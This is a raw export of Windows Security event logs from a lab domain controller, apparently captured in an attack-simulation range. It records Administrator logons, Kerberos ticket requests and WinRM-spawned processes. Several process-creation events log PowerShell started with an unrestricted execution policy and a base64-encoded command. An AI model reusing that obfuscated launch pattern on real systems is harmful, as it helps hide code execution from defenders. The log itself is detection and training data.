	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251052
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251051
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1254DE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251050
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1254DE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251049
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251048
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251047
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251046
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd64
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251045
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251044
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251043
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251042
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251041
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251040
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251039
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125259

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251038
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251037
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1232FA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251036
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125259

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:37 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251035
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x125259
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{EA936317-7890-C888-F915-FC03989DB212}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
